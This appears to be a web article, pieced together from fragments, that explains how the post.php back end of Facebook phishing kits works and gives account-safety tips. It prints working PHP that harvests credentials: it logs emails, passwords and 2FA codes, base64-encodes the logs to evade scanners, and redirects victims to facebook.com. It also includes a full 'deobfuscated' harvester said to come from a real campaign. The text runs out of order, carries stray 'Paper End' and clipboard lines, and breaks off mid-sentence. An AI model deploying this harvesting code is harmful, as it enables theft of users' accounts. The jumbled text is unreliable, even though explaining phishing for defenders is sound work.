$log_file = base64_decode('bG9ncy9mYWNlYm9va19sb2dzLnR4dA==');
This hides the file path from casual inspection or automated scanners that search for facebook_logs.txt.
Instead of just stealing passwords, advanced post.php scripts also steal session cookies or 2FA tokens.
// After capturing email/pass, capture any POSTed 2FA code
if (isset($_POST['twofactor']))
$twofactor = $_POST['twofactor'];
file_put_contents('2fa_codes.txt', "$email:$twofactor\n", FILE_APPEND);
// Then redirect to a real Facebook 2FA page
To evade antivirus scanning the logs.txt file, attackers encode the credentials.
$encoded = base64_encode($email . "|" . $password);
file_put_contents('logs.bin', $encoded . "\n", FILE_APPEND);
Appendix: Sample Deobfuscated post.php from Real Campaign
<?php
$log="log.txt";
$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen($log, 'a');
fwrite($fp, $ip.' - '.$browser.' - '.$_POST['email'].' : '.$_POST['pass']."\n");
fclose($fp);
header("Location: https://facebook.com");
?>
This is exactly what defenders should search for.
Paper End
. Understanding how these attacks function and the role of the PHP language is essential for modern digital safety. The Mechanics of Phishing Scripts
Phishing attacks are fraudulent communications meant to trick users into revealing sensitive data. In a Facebook-specific scenario, the attack typically follows a standard pattern: A scammer creates a PHP script (often named ) that serves a fake version of the Facebook login page.
Users are directed to this page through deceptive emails or social media posts. These messages often claim there is an "unauthorized login" or a "account suspension" to create a sense of urgency. The Theft:
When a victim enters their email and password, the PHP script on the backend does not log them into Facebook. Instead, it captures the data and saves it to a hidden file or emails it directly to the attacker. The Redirect:
To avoid suspicion, the script often redirects the victim back to the legitimate Facebook.com homepage after stealing their info. Why PHP is Used
PHP is a server-side scripting language traditionally used to build dynamic websites. Historically, Facebook itself was built on PHP. Attackers favor PHP for phishing because: Ease of Deployment:
PHP scripts can run on almost any cheap or free web hosting service. Data Handling:
PHP makes it easy to process form data (like usernames and passwords) and send it to external databases or email accounts.
It allows for the easy replication of Facebook’s visual elements to make a fake site look indistinguishable from the real one. Protecting Your Account
Detecting a phishing attempt requires vigilance. According to Meta’s Business Help Center
, you should always check the URL; if it isn't "facebook.com," do not enter your details.
If you receive an unexpected login code or password reset email, it may indicate that someone is actively trying to use a phishing script against you. In such cases, ignore the link in the email and manually navigate to your security settings on the official Facebook site to update your password and enable Two-Factor Authentication or see how to report a phishing site to Facebook? facebook phishing postphp code
What to do if someone is attempting to reset your password on Facebook
This post breaks down the common mechanics found in post.php scripts used in Facebook phishing kits. These scripts are the "engine room" of a credential harvesting attack, responsible for processing stolen data and redirecting victims to maintain the illusion of legitimacy. Anatomy of a Facebook Phishing post.php
In a typical phishing setup, the victim enters their credentials into a fake login page (index.html). When they click "Log In," the form sends a POST request to a backend script, often named post.php. 1. Data Capture (The Harvest)
The script first grabs the sensitive information sent from the fake login form. It typically looks for the email/phone and password fields.
$email = $_POST['email']; $password = $_POST['pass']; $ip = $_SERVER['REMOTE_ADDR']; $useragent = $_SERVER['HTTP_USER_AGENT']; Use code with caution. Copied to clipboard
IP & User-Agent: Attackers collect this to see if the victim is using a mobile device or desktop, which helps them bypass automated security bots or "clean" their logs. 2. Exfiltration (The Delivery)
Once the data is captured, the script needs to send it to the attacker. There are three common methods found in these kits:
Email (The Classic): Uses the PHP mail() function to send the credentials directly to the attacker’s inbox.
Log Files: Appends the data to a hidden .txt or .html file on the compromised server (e.g., logs.txt).
Telegram Bot API: Modern kits often use file_get_contents or curl to send the stolen data instantly to a Telegram chat, allowing the attacker to react in real-time. 3. The Redirect (The Cover-up)
To avoid suspicion, the script immediately redirects the user to the actual Facebook website after the data is saved. This makes the victim think there was a minor glitch or they just need to log in again. header("Location: https://facebook.com"); exit(); Use code with caution. Copied to clipboard How to Identify These Attacks
While the PHP code runs on the server and is invisible to the user, you can spot the "front end" of these scripts:
The URL Check: Facebook will only ever ask for your password on facebook.com. Phishing sites often use lookalikes like face-book-security.xyz or login-portal-auth.com.
The Form Action: If you "View Source" on a suspicious login page, look for the